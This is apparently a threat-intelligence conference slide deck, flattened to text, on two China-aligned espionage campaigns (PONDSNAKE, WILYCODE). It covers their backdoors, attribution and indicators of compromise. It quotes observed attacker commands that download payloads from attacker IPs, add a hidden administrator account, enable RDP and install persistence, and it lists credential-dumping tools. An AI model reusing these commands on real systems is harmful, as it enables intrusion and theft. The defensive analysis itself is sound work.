The Return of Old Forces: Revealing New Campaigns Connected to A Missing Cyber Mercenary Firm Joseph Chen 2026-01 @ JSAC2026 1 | ©2025 Trend Micro Inc. Whoami Joseph Chen Staff Threat Researcher Threat Hunting / Threat Intelligence 2 | ©2025 Trend Micro Inc. Agenda • Introduction • Campaign − PONDSNAKE − WILYCODE • Attribution • Conclusion 3 | ©2025 Trend Micro Inc. Introduction 4 | ©2025 Trend Micro Inc. Cyber Espionage 5 | ©2025 Trend Micro Inc. The “I-S00N” Leak • A massive leak of internal documents and data from a Chinese campany “i-Soon” (Anxun) found on a Github repository on Feburary 2024 • Leaks of the company including Conducted widespread cyber espionage campaigns Government Operated as a contractor closely Relationship linked to China’s MPS, MSS and PLA Chinese APT Collaborated with established Ecosystem threat groups such as APT41 TLP:WHITE (https://github.com/I-S00N/I-S00N/) After the Leak International Reactions Domesitc Reactions 6 | ©2025 Trend Micro Inc. • The U.S. government imposed economic sanctions and seized the company's digital infrastructure. • The U.S. government issued a formal indictment and offered financial rewards for information on involved employees. • The company is facing multiple judicial cases within China including sales contract disputes, labor disputes and financial loan disputes. TLP:WHITE (https://www.justice.gov/opa/pr/justice-department- charges-12-chinese-contract-hackers-and-law- enforcement-officers-global) Our Observations Attributed in the research “Chasing Shadows: The Rise of a Prolific Espionage Actor” PwC @ LABScon23 [3] • Our research found Earth Lusca[1] and Earth Krahang[2] are related to the company After the leak i-Soon (Anxun) 7 | ©2025 Trend Micro Inc. Unknown relationship [2] https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html [3] https://www.sentinelone.com/labs/labscon-replay-chasing-shadows-the-rise-of-a-prolific-espionage-actor/ Earth Lusca Collaborated Earth Krahang [1] https://www.trendmicro.com/en_us/research/22/a/earth-lusca-sophisticated-infrastructure-varied-tools-and-techni.html TLP:WHITE Activities stopped after Q2 2024 TLP:WHITE Our Observations • Our research found Earth Lusca[1] and Earth Krahang[2] are related to the company Attributed in the research After “Chasing Shadows: The Rise of a the leak Prolific Espionage Actor” PwC @ LABScon23 [3] i-Soon (Anxun) 8 | ©2025 Trend Micro Inc. Unknown relationship [2] https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html [3] https://www.sentinelone.com/labs/labscon-replay-chasing-shadows-the-rise-of-a-prolific-espionage-actor/ Earth Lusca Collaborated Earth Krahang [1] https://www.trendmicro.com/en_us/research/22/a/earth-lusca-sophisticated-infrastructure-varied-tools-and-techni.html Activities stopped Came back in 2025? after Q2 2024 Campaign PONDSNAKE 9 | ©2025 Trend Micro Inc. Origin Alias Activity Targets Arsenals 10 | ©2025 Trend Micro Inc. TLP:WHITE PONDSNAKE Overview China-aligned threat campaign TA-SC-31[1] (Viettel) Activities found since October 2024 Associated Earth Krahang Government organizations Financial firms (insurance and securities) Cobalt Strike VShell RESHELL SnakeC2 NEOBEACON [1] https://viettelsecurity.com/apt-ta-sc-31-exploiting-reputable-websites-as-a-launchpad-for-targeted-attack-campaigns/ Q4 2024 ! Securities ! Government ! Securities ! Securities ! Securities ! Securities ! Securities 11 | ©2025 Trend Micro Inc. PONDSNAKE Targets Q1 2025 " Securities " Digital Advertising ! Securities ! Securities # Utilities $ Government % Government ! Insurance Q2 2025 # Government & Securities # Government # Insurance # Government # Government Q3 2025 ' Government ( Government ' Government $ Government TLP:WHITE Q4 2025 ! Securities ! Securities ) Insurance TLP:WHITE Initial Access via Public-Facing Servers • Exploiting SQL injection vulnerabilities on public-facing servers T1105 - Ingress Tool Transfer F:\mssql\{REDACTED}\mssql\binn\sqlservr.exe - C:\Windows\system32\cmd.exe /c certutil -urlcache -split -f http://38.54.16[.]227/tasklist.aaa C:\programdata\tasklist.exe - C:\Windows\system32\cmd.exe /c powershell -c "invoke-webrequest -uri http://154.196.187[.]90/hamcore.se2 -outfile c:/programdata/hamcore.se2” - C:\Windows\system32\cmd.exe /c powershell -c "invoke-webrequest -uri http://154.196.187[.]90/vpn_server.config - outfile c:/programdata/vpn_server.config” T1136.001 - Create Account: Local Account & T1021.001 - Remote Services: Remote Desktop Protocol F:\mssql\{REDACTED}\mssql\binn\sqlservr.exe - C:\windows\system32\net1.exe user test 1qaz@WSX.. /add - C:\windows\system32\net.exe localgroup Administrators test /add - C:\windows\system32\reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 12 | ©2025 Trend Micro Inc. Send spear- phishing emails PONDSNAKE Victims Operate 13 | ©2025 Trend Micro Inc. Initial Access via Phishing Email • Delivering backdoors via spear-phishing emails Hosting Server Execute backdoors from attachments Download additional files Infect Cobalt Strike Infect SnakeC2 Install SoftEther VPN TLP:WHITE NEOBEACON TLP:WHITE Backdoor Inside Attachments • Attachments are an unknown backdoor we called SnakeC2 − SHA1: aa40e0ff81ce7f18c3bcf92847450d8f671aa7f5 • The filename of attachments Pre-Alert Surface Mail from Thailand to Cambodia for 24062025.rar THA - POSTNET EDI Irregularities Report (extract.me).zip Đội thuế liên huyện Cẩm Lệ - Hòa Vang Báo cáo kết quả kiểm tra xăng dầu T6-25.rar (Translate: Cam Le - Hoa Vang Inter-district Tax Team Report on the results of gasoline and diesel inspection T6-25.rar) 14 | ©2025 Trend Micro Inc. TLP:WHITE SnakeC2: Overview • A simple .NET backdoor with capabilities including: − Download files from URLs − Execute system commands • Similar to RESHELL with same functionalities • We renamed it from the backdoor name found on the PDB string: − PDB string: f:\c2\fuck-c2-v4\client\client\obj\release\client.pdb • Using a compromised government server as the C&C server 15 | ©2025 Trend Micro Inc. TLP:WHITE SnakeC2: Download Behaviors • The download function − Download from URLs assigned from C&C server − Store the downloaded files to folder C:/ProgramData/ • Downloaded files observed from a real case: Timeline Tools URLs Initial + 6 mins + 7 mins 16 | ©2025 Trend Micro Inc. NEOBEACON SoftEther VPN Cobalt Strike hxxp://38.54.31[.]65/behavior.dll hxxp://38.54.31[.]65/Payload.bin hxxp://38.54.31[.]65/tmp.dat hxxp://38.54.31[.]65/UevAppMonitor.exe hxxp://38.54.31[.]65/UevAppMonitor.exe.config hxxp://118.107.221[.]43/vpn_server.config hxxp://118.107.221[.]43/taskllst.exe hxxp://118.107.221[.]43/hamcore.se2 hxxp://118.107.221[.]43/jli.dll hxxp://118.107.221[.]43/msvcr100.dll hxxp://118.107.221[.]43/setting.dat hxxp://118.107.221[.]43/jconsole.exe TLP:WHITE SnakeC2: Execute Behaviors • The execute function − Create the persistence of SnakeC2 …\Đội thuế liên huyện cẩm lệ - hòa vang báo cáo kết quả kiểm tra xăng dầu t6-25.docx.exe - C:\Windows\System32\cmd.exe /C copy /b *.exe c:\programdata\style.exe - C:\Windows\System32\cmd.exe /C schtasks /create /tn "VMwareUpdateTask" /tr "C:\ProgramData\style.exe" /sc minute /mo 10 /f − Create the persistence of NEOBEACON and Cobalt Strike C:\ProgramData\style.exe - C:\Windows\System32\cmd.exe /C schtasks /create /tn "UevAppMonitorTask" /tr "C:\ProgramData\UevAppMonitor.exe" /sc daily /st 12:00 /f - C:\Windows\System32\cmd.exe /C schtasks /create /tn "VMwareUpdateTask11" /tr "C:\ProgramData\jconsole.exe" /sc minute /mo 30 /f 17 | ©2025 Trend Micro Inc. TLP:WHITE NEOBEACON: Overview • A cross-platform backdoor − Windows version implemented with .NET (C#) − Linux version implemented with Go • Using Microsoft Graph API and OneDrive as C&C • Reported as OneDrive Beacon in the research of TA-SC-31[1] • Similar to NosyDoor[2] (ESET) and LuckyStrike[3] (Solar) • Suspected to be commercial backdoors shared among Chinese actors [1] https://viettelsecurity.com/apt-ta-sc-31-exploiting-reputable-websites-as-a-launchpad-for-targeted-attack-campaigns/ [2] https://www.welivesecurity.com/en/eset-research/longnosedgoblin-tries-sniff-out-governmental-affairs-southeast-asia-japan/ [3] https:/rt-solar.ru/solar-4rays/blog/5603/ 18 | ©2025 Trend Micro Inc. TLP:WHITE NEOBEACON: Execution Flow • The execution flow of NEOBEACON Windows version Load Decrypt Decrypt Read Payload.bin tmp.dat UevAppMonitor.exe.config behavior.dll UevAppMonitor.exe (Loader) (NEOBEACON) (Configuration) Living-of-the-Land (LotL) Encrypted Encrypted • The execution flow of NEOBEACON Linux version Decrypt Agent tmp.dat (NEOBEACON) (Configuration) Encrypted 19 | ©2025 Trend Micro Inc. TLP:WHITE NEOBEACON: Landing on Windows • Living-of-the-Land: AppDomainManager Injection (T1574.014) − Abusing the monitor application of Microsoft User Experience Virtualization (UE-V) − The process reads UevAppMonitor.exe.config and loads behavior.dll • Using a custom loader to launch NEOBEACON − A .NET implemented loader using AES to decrypt and Assembly.Load to invoke payload 20 | ©2025 Trend Micro Inc. NEOBEACON: Encrypting and Decrypting • Decrypting steps of the configuration file 1. Base64: Base64 decode 2. ROR 2 Rotate: rotate each byte right by 2 positions 3. AES-256-CBC: decrypt with the embedded key and IV - Example: (Key: 99f985d1d225b3a0388a22cd9e4ea193, IV: aaaccccccccccccc) Load Read UevAppMonitor.exe.config behavior.dll UevAppMonitor.exe tmp.dat (Loader) Living-of-the-Land (LotL) Encrypted • Applying the same decrypt and encrypt approaches to C&C files on OneDrive 21 | ©2025 Trend Micro Inc. Decrypt Decrypt Payload.bin (NEOBEACON) Encrypted TLP:WHITE (Configuration) Key Listener ClientID Token Secret BaseUrl Sleep AgentType Key Profile 22 | ©2025 Trend Micro Inc. NEOBEACON: C&C Configuration Function C&C Root Directory Name The registered App ID Refresh Token for the OAuth authentication Client secret for the OAuth authentication API access end point OnedriveUrl Token exchange end point Sleep interval Agent type AES encryption key C&C behavioral profile TLP:WHITE Example of NEOBEACON configuration (decrypted) Key ProfileName MetaDataName TaskName SendName ReceiveName ReceiveFolderName SendFolderName TaskFolderName Prepend Append PayloadPrepend PayloadAppend 23 | ©2025 Trend Micro Inc. TLP:WHITE NEOBEACON: C&C Behavioral Profile Function Profile name Heartbeat filename Command filename rule (regex) Send filename rule (regex) Result filename rule (regex) Result file folder Download folder Command file folder Masquerading header (magic bytes) Masquerading footer Payload prefix (marker) Payload suffix NEOBEACON: Commands (Windows) Command Function A B C D E F Reimplemented system commands Terminates the backdoor Execute commands with cmd.exe Execute functions in the plugin Loed plugin delivered with the command List the drives of system G List files in a folder H Retrieve file information I Convert files to hex format and upload it J Download files to the system K Delete files L COM-based command execution M Modify the sleep time O Injects malicious code directly into the memory of a process 24 | ©2025 Trend Micro Inc. Command type hostname ipconfig del whoami dir copy TLP:WHITE Reimplemented system commands Function Read files Get the machine name Not implemented Delete files Get the user name List folders Copy files NEOBEACON: Commands (Linux) Command Function A B C D E F Reimplemented system commands Terminates the backdoor Execute commands with “bash –c” Execute functions in the plugin Loed plugin delivered with the command List the drives of system G List files in a folder H Retrieve file information I Convert files to hex format and upload it J Download files to the system K Delete files L COM-based command execution M Modify the sleep time O Injects malicious code directly into the memory of a process 25 | ©2025 Trend Micro Inc. Command type hostname ipconfig del whoami dir copy TLP:WHITE Reimplemented system commands Function Read files Get the machine name Not implemented Delete files Get the user name List folders Copy files TLP:WHITE SnakeC2 Variants: Version 3 • Another version of SnakeC2 used by PONDSNAKE − PDB string: g:\c2\fuck-c2-v3\client-release\client\obj\release\client.pdb • Same implementation but different C&C APIs • Dedicated C&C Servers − Using compromised websites as Dead Drop Resolver (T1102.001) 26 | ©2025 Trend Micro Inc. TLP:AMBER+STRICT SnakeC2 Variants: C&C Server 27 | ©2025 Trend Micro Inc. clientlogic.pdb Loader.exe (Loader) 28 | ©2025 Trend Micro Inc. SnakeC2 Variants: New Version • Used by PONDSNAKE since September 2025 • Similar code and C&C API design as SnakeC2 • Encrypting payload and configuration into separated files Decrypt Decrypt − PDB String: c:\users\admin\desktop\ycat\v2-plugin\clientlogic\clientlogic\obj\release\ client.pdo (SnakeC2 variant) Encrypted Encrypted TLP:WHITE config.json (Configuration) TLP:WHITE SnakeC2 Variants: Code Similarities SnakeC2 Version 3 The New Varient 29 | ©2025 Trend Micro Inc. C&C API /register /Get_Order /send_result Command prefix download 30 | ©2025 Trend Micro Inc. SnakeC2 Version 3 Function Victim check-in Get command Send command result Function Download file from a URL Run command with cmd.exe SnakeC2 Variants: Function Similarities C&C API /Register /GetCmd/{machine name} /CmdResult/{machine name} Command prefix drives ls: /upload /download /GetPlugin TLP:WHITE The New Varient Function Victim check-in Get command Send command result Function List drives List a directory Drop a file Upload a file Load a plugin Run command with cmd.exe PONDSNAKE 31 | ©2025 Trend Micro Inc. Connections to Earth Krahang • Both of PONDSNAKE and Earth Krahang used RESHELL Operate (118.107.221[.]43) Operate Server (154.196.187[.]90) Deliver Server RESHELL Similar C&C Deliver Deliver NEOBEACON Used Deliver Deliver SnakeC2 TLP:WHITE Earth Krahang Campaign WILYCODE 32 | ©2025 Trend Micro Inc. Origin Alias Activity Associated Targets Arsenals 33 | ©2025 Trend Micro Inc. TLP:WHITE WILYCODE Overview China-aligned threat campaign - Activities found since May 2025 Earth Lusca Government organizations Education organizations Hospitals Cobalt Strike VShell Silver TLP:WHITE WILYCODE Targets Q4 Q1 Q2 Q3 Q4 2024 2025 2025 2025 2025 $ Education $ Education * Education $ Government $ Government $ Government $ Hospital $ Government $ Government $ Government $ Government $ Government $ Government % Government 34 | ©2025 Trend Micro Inc. TLP:WHITE Initial Access via Public-Facing Servers • Exploiting vulnerabilities on public-facing servers T1105 - Ingress Tool Transfer C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe - C:\Windows\system32\cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('https://su2769[.]com:443/config.log','c:\programdata\config.log’) - C:\Windows\system32\cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('https://su2769[.]com:443/gdf.txt','c:\programdata\gdf.exe’) - C:\Windows\system32\cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('https://su2769[.]com:443/G.txt','c:\programdata\g.dll’) T1543.003 - Create or Modify System Process: Windows Service C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Binn\sqlservr.exe - C:\Windows\system32\cmd.exe /c sc create WpnUserService_LDI8v2gQ binpath= "C:\windows\system32\cmd.exe /c C:\Programdata\Microsoft\Crypto\RSA\MachineKeys\SecurityHealthService.exe" start= auto obj= localsystem - C:\Windows\system32\cmd.exe /c net start WpnUserService_LDI8v2gQ Pattern: WpnUserService_xxxxxxxx 35 | ©2025 Trend Micro Inc. TLP:WHITE Exploitation of Known Vulnerabilities • Exploiting React2Shell (CVE-2025-55182) vulnerability − Download and execute Silver backdoor via React2Shell − Payload (both x86 and x64 version) hosted on a GitHub repository 36 | ©2025 Trend Micro Inc. Name GodPotato BadPotato JuicyPotato PrintNotifyPotato PrintSpoofer FScan netspy frp Mimikatz WinDump 37 | ©2025 Trend Micro Inc. Purpose Privilege escalation Privilege escalation Privilege escalation Privilege escalation Privilege escalation Network Scanning Network Scanning Traffic Tunneling Credential dumping Credential gathering TLP:WHITE Leveraged Open-Source Hack Tools • Known hack tools detected during their attack operations Function Escalates to SYSTEM via DCOM/RPCSS abuse Escalates to SYSTEM via Print Spooler spoofing Escalates to SYSTEM via COM/CLSID abuse Escalates to SYSTEM via Print Spooler notification bug Escalates to SYSTEM via Named Pipe impersonation Automates vulnerability scanning and password brute-forcing Rapidly detects active hosts and open ports Reverse proxy to expose a local server located behind a NAT or firewall Dumps cleartext passwords and hashes from memory (LSASS) Scrapes local files and registry for saved credentials TLP:AMBER+STRICT Data Exfiltration 38 | ©2025 Trend Micro Inc. DLL Side-Loading Execution • DLL side-loading to execute Cobalt Strike cscsy.exe (spark-windows-host.exe) • DLL side-loading to execute VShell SecurityHealthService.exe (GDFInstall.exe) 39 | ©2025 Trend Micro Inc. Load ciscosparklauncher.dll (Loader) Load GameuxInstallHelper.dll (Loader) TLP:WHITE Decrypt bin.config (Cobalt Strike Payload) Encrypted Decrypt config.log (VShell Payload) Encrypted The Backdoor Loader • The loader has been named as HyperBro Launcher[1] Reported to be used by 2022 Budworm Reported to be used by 2023 Earth Lusca Identified to be used by 2025 WILYCODE [1] https://www.security.com/threat-intelligence/budworm-espionage-us-state [2] https://www.recordedfuture.com/research/redhotel-a-prolific-chinese-state-sponsored-group-operating-at-a-global-scale 40 | ©2025 Trend Micro Inc. TLP:WHITE Budworm used the loader to to load HyperBro payload. Budworm is associated to APT27. RedHotel[2] used the loader to load Brute Ratel C4 and Cobalt Strike payload. RedHotel was attributed to Earth Lusca. WILYCODE used the same loader to load Cobalt Strike and VShell payload. TLP:WHITE Decoding Operations • A composite operation of (XOR -> ADD) repeated 3 times and a single XOR y= ((((((x ^ k) + k) ^ k) + k) ^ k) + k) ^ k x=byte, k=key, y=result Decoding loops (SSE Instructions) Decoding tail bytes 41 | ©2025 Trend Micro Inc. Overlaps Between Campaigns: Loaders • Overlapping on payload filenames and decoding keys inside the loader SHA1 026d81090c857d894aaa18225ec4a99e419da651 1d53549bd01561e740df1434bebafe0843deed55 bec1aedbe2a89dd818c23c1b77a8c2f83159d494 da8796d5814752b6a3e955fb870b90464bf4c08d cd65340360d597a41ac4702f57ae3ec195c1f6fe ddb3e607f3f39f18b5ebb8417af1b0ba664be91c 8609f7ee417c9666a6a10bb92f8dfb8b8998607b d166137291fabe4f55b2c5bc16b8a9267e0c5ec1 84985adf6fcde0921aa6a955076ba67dd510102e 9f6a7ee952ea5a94a9d954af361e54184695f591 3b7c9fc01772254cdd4f3cbc327b2dd11d102c14 42 | ©2025 Trend Micro Inc. Used by Budworm Budworm Budworm Budworm Budworm Budworm Earth Lusca Earth Lusca WILYCODE WILYCODE WILYCODE Type Filename (payload) DLL bin.config DLL bin.config DLL bin.config DLL bin.config DLL bin.config DLL bin.config DLL bin.config EXE DLL bin.config DLL bin.config DLL config.log TLP:WHITE Key (no encode) (no encode) (no encode) 0x01 0x01 0x7B 0x01 0x7B 0x6D 0x6D 0x6D TLP:WHITE Overlaps Between Campaigns: PDB Strings • Overlapping on PDB strings: C:\Users\code\Desktop\免杀\DLL劫持\白文件\... SHA1 PDB String C:\Users\xdd\Desktop\今天\VFTRACE\Release\VFTRACE.pdb 026d81090c857d894aaa18225ec4a99e419da651 C:\Users\xdd\Desktop\今天\VFTRACE_1\Release\VFTRACE.pdb 1d53549bd01561e740df1434bebafe0843deed55 C:\Users\xdd\Desktop\今天\VFTRACE_1\Release\VFTRACE.pdb bec1aedbe2a89dd818c23c1b77a8c2f83159d494 C:\Users\code\Desktop\免杀\DLL劫持\白文件\vfhost\org\VFTRACE\Release\VFTRACE.pdb da8796d5814752b6a3e955fb870b90464bf4c08d C:\Users\code\Desktop\免杀\DLL劫持\白文件\vfhost\org\VFTRACE\Release\VFTRACE.pdb cd65340360d597a41ac4702f57ae3ec195c1f6fe C:\Users\code\Desktop\免杀\DLL劫持\白文件\vfhost\org\VFTRACE\Release\VFTRACE.pdb ddb3e607f3f39f18b5ebb8417af1b0ba664be91c 8609f7ee417c9666a6a10bb92f8dfb8b8998607b d166137291fabe4f55b2c5bc16b8a9267e0c5ec1 C:\Users\code\Desktop\免杀\DLL劫持\白文件\CiscoCollabHost\ciscosparklauncher\Release\ciscosparklauncher.pdb 84985adf6fcde0921aa6a955076ba67dd510102e C:\Users\code\Desktop\免杀\DLL劫持\白文件\CiscoCollabHost\ciscosparklauncher\Release\ciscosparklauncher.pdb 9f6a7ee952ea5a94a9d954af361e54184695f591 E:\silver\hack\免杀\DLL劫持\白文件\白文件\gdf\GameuxInstallHelper\Release\GameuxInstallHelper.pdb 3b7c9fc01772254cdd4f3cbc327b2dd11d102c14 Translation: 免杀(AV Evasion), DLL劫持(DLL Hijack),白文件(Clean Binary) 43 | ©2025 Trend Micro Inc. • The patterns Profile from Earth Lusca (1.13.82[.]101) 44 | ©2025 Trend Micro Inc. Overlaps Between Campaigns: C2 Profile − C2Server: /jquery-3.3.2.N2cQ4mXdZ4nIo9XIhttp.min.js Chrome/92.0.4515.159 Safari/537.36 TLP:WHITE • Earth Lusca and WILYCODE used similar Cobalt Strike Malleable C2 profiles − UserAgent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Profile from WILYCODE (investment1[.]top) Date 2023-02 2023-05 2023-07 2023-10 2024-02 2024-02 2024-03 2024-04 2024-05 2024-09 2024-11 2025-05 2025-06 2025-06 2025-07 2025-07 2025-08 2025-09 2025-09 45 | ©2025 Trend Micro Inc. IP Address 1.13.82[.]101 206.119.167[.]164 8.142.124[.]166 139.155.134[.]117 118.24.119[.]137 47.123.4[.]117 140.246.157[.]86 183.255.43[.]126 122.51.194[.]153 112.124.24[.]104 121.40.23[.]183 144.172.92[.]144 149.30.232[.]116 103.75.46[.]123 106.54.165[.]184 139.9.91[.]122 91.92.241[.]247 206.119.178[.]91 14.23.132[.]92 Domain cookietest[.]ml mtlklabs[.]co conhostsadas[.]website conhostsadas[.]website conhostsadas[.]website ns1.xzbxhy[.]com ns1.cooke-int[.]com investment1[.]top fu5599[.]com su2769[.]com TLP:WHITE Identified C2 Servers with The Same Patterns ASN Geolocation Attribution 45090 ! CN Earth Lusca 133199 " US Earth Lusca 37963 ! CN Earth Lusca 45090 ! CN 45090 ! CN 37963 ! CN 58519 ! CN Earth Lusca Earth Lusca 9808 ! CN 45090 ! CN Earth Lusca 37963 ! CN By the end of 2024 37963 ! CN 14956 " US WILYCODE After 2024 133199 " US WILYCODE 132839 " US WILYCODE 45090 ! CN 45090 ! CN WILYCODE 214943 # NL WILYCODE 133199 " US WILYCODE 4134 ! CN Attribution 46 | ©2025 Trend Micro Inc. PONDSNAKE Attribution • Attributed to Earth Krahang with a medium-high confidence • Using the same malware RESHELL and variant SnakeC2 • Similar TTPs including − Leveraging compromised government websites to attack − Renaming SoftEther binary to taskllst.exe and tasklist.exe • Difference − Operational focus: Global vs Southeast Asia region 47 | ©2025 Trend Micro Inc. TLP:WHITE − Arsenals: Earth Krahang used XDealer but PONDSNAKE used NEOBEACON TLP:WHITE WILYCODE Attribution • Attributed to Earth Lusca with a low confidence • Using the same HyperBro launcher and C2 profiles • Most observed TTPs are general − None can’t be used for attribution • Difference − Operational focus: Global vs Southeast Asia region 48 | ©2025 Trend Micro Inc. Overview of Attributions • Campaigns associated with Earth Lusca, Earth Krahang and the i-Soon company Attributed in the research “Chasing Shadows: The Rise of a Associated with Prolific Espionage Actor” PwC @ LABScon23 a low confidence Earth Lusca Collaborated i-Soon (Anxun) Unknown relationship Earth Krahang 49 | ©2025 Trend Micro Inc. Associated with a medium-high confidence TLP:WHITE New Campaigns WILYCODE PONDSNAKE Conclusion 50 | ©2025 Trend Micro Inc. TLP:WHITE Conclusion • Old meets new: PONDSANKE and WILYCODE − Recycling previous loader or backdoor − Adding updated or new payload for modern operations • The Complexity of Modern Attribution − TTPs-based attribution: Personnel can migrate to new entities − Backdoor-based attribution: The backdoor supply chains confuse the distinction between threat actors − Requiring multiple independent evidences rather than a single artifact to ensure a higher confidence of attribution 51 | ©2025 Trend Micro Inc. TLP:WHITE Indicators of Compromise: Files (1/3) Hash Filename f02a6c1eba1d25120edf4893ccccbfff7184e6f9 calc.exe 3cb8156020eaa1b3c4609ed3cc86a7f0b945eba0 Client.exe 5a16e5b91f92bf19bea89cd03bdfb152e68593b3 Client.exe 1c2689b3a459260a62fdd83a07d9cbb9c82ad40b Client.exe 4299b95d3879aebbac4e99c948ebbf1c16f79694 Client.exe 699817c45546776736f835ce60a9e780b3d409c1 Client.exe c46b5d7eb02c40db35a4c5322a3a39f220244e45 Client.exe fb2ff3a660f22c7bda72911ff1e4216e1ae8925f Client.exe 1c2689b3a459260a62fdd83a07d9cbb9c82ad40b vmware.exe c7b169a31972ca2ded7e75474d3ba14008f971fa windowsupdate.exe aa40e0ff81ce7f18c3bcf92847450d8f671aa7f5 vmware.exe 1ca6b1284b8bb545b45571f7941a0b00cb337810 client.txt 74ae90411b6500f3af950b832962d2c282ed547a Loader.exe 0714c10773e94a4b90ed16a8cb7db02875f47ed6 client.pdo 52 | ©2025 Trend Micro Inc. Campaign Description PONDSNAKE RESHELL backdoor PONDSNAKE RESHELL backdoor PONDSNAKE RESHELL backdoor PONDSNAKE SnakeC2 (v3) backdoor PONDSNAKE SnakeC2 (v3) backdoor PONDSNAKE SnakeC2 (v3) backdoor PONDSNAKE SnakeC2 (v3) backdoor PONDSNAKE SnakeC2 (v3) backdoor PONDSNAKE SnakeC2 (v3) backdoor PONDSNAKE SnakeC2 (v4) backdoor PONDSNAKE SnakeC2 (v4) backdoor PONDSNAKE SnakeC2 (v4) backdoor PONDSNAKE SnakeC2 (varient) loader PONDSNAKE Encrypted SnakeC2 (varient) payload TLP:WHITE Indicators of Compromise: Files (2/3) Hash Filename 086c11f4c9640ff01f4634a8c7f83dc130682174 behavior.dll 14fec3cda4d5f448276c0755c956875326a9e33b behavior.dll 4629373208637d8d1379999a9c16b1a15428d885 behavior.dll 18ab2f763a043c1b15751f46308e343450b08e78 behavior.dll ad5b53ef14c53dd5a7c0b92def23358c04187e3d behavior.dll b5c485a983feb3818549894e22862e3088fb7b13 behavior.dll d9c765ca3dd9acd038e4728a67339a7f2e11daa4 behavior.dll 226777071b4ecb8cf9bbe909b5a1b5d2317f6290 57fe1f966f8a0fbdffc0cb06a59c797caeceb2db 83ae1b5ef0f57b4c8d389097450cdadaf625b046 ac786011d46026144b4feb99f940915bb202df03 f668c34c522fa163a6319dadf7641ed22b86b7de 976466e6bf07e2e85a3833ef0e9bcaac769dfd64 Agent 95f3afe953282de414099dd1d88339f7d0140045 Agent 53 | ©2025 Trend Micro Inc. Campaign Description PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON loader PONDSNAKE NEOBEACON (Windows) PONDSNAKE NEOBEACON (Windows) PONDSNAKE NEOBEACON (Windows) PONDSNAKE NEOBEACON (Windows) PONDSNAKE NEOBEACON (Windows) PONDSNAKE NEOBEACON (Linux) PONDSNAKE NEOBEACON (Linux) Hash 9f6a7ee952ea5a94a9d954af361e54184695f591 0718a42e4fd95a8fa9cc3894b1d8714270399921 84985adf6fcde0921aa6a955076ba67dd510102e be3d9ee51892116992d098b23958fe6167b06282 3b7c9fc01772254cdd4f3cbc327b2dd11d102c14 54 | ©2025 Trend Micro Inc. Indicators of Compromise: Files (3/3) Filename ciscosparklauncher.dll ciscosparklauncher.dll ciscosparklauncher.dll ciscosparklauncher.dll GameuxInstallHelper.dll Campaign WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE TLP:WHITE Description Loader (HyperBro Launcher) Loader (HyperBro Launcher) Loader (HyperBro Launcher) Loader (HyperBro Launcher) Loader (HyperBro Launcher) Domain/IP Address 45.76.213[.]172 38.54.115[.]169 38.54.16[.]227 38.54.17[.]22 27.124.19[.]90 154.196.187[.]90 118.107.221[.]43 38.54.31[.]213 38.60.199[.]222 38.54.31[.]99 38.54.89[.]38 118.107.221[.]14 45.131.153[.]211 156.231.11[.]86 55 | ©2025 Trend Micro Inc. Indicators of Compromise: Network Campaign PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE PONDSNAKE Description SoftEther server SoftEther server Hosting server Hosting server Hosting server RESHELL C&C server RESHELL C&C server SnakeC2 C&C server SnakeC2 C&C server SnakeC2 C&C server SnakeC2 C&C server SnakeC2 C&C server VShell C&C server Cobalt Strike C&C Server Domain/IP Address investment1[.]top cooke-int[.]com su2769[.]com fu5599[.]com 103.75.46[.]123 103.42.176[.]156 149.30.232[.]116 206.119.178[.]91 144.172.92[.]144 178.16.52[.]194 91.92.241[.]247 45.115.124[.]42 Campaign WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE WILYCODE TLP:WHITE Description Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server Cobalt Strike C&C server VShell C&C server ©2025 Trend Micro Inc. 56 | ©2025 Trend Micro Inc.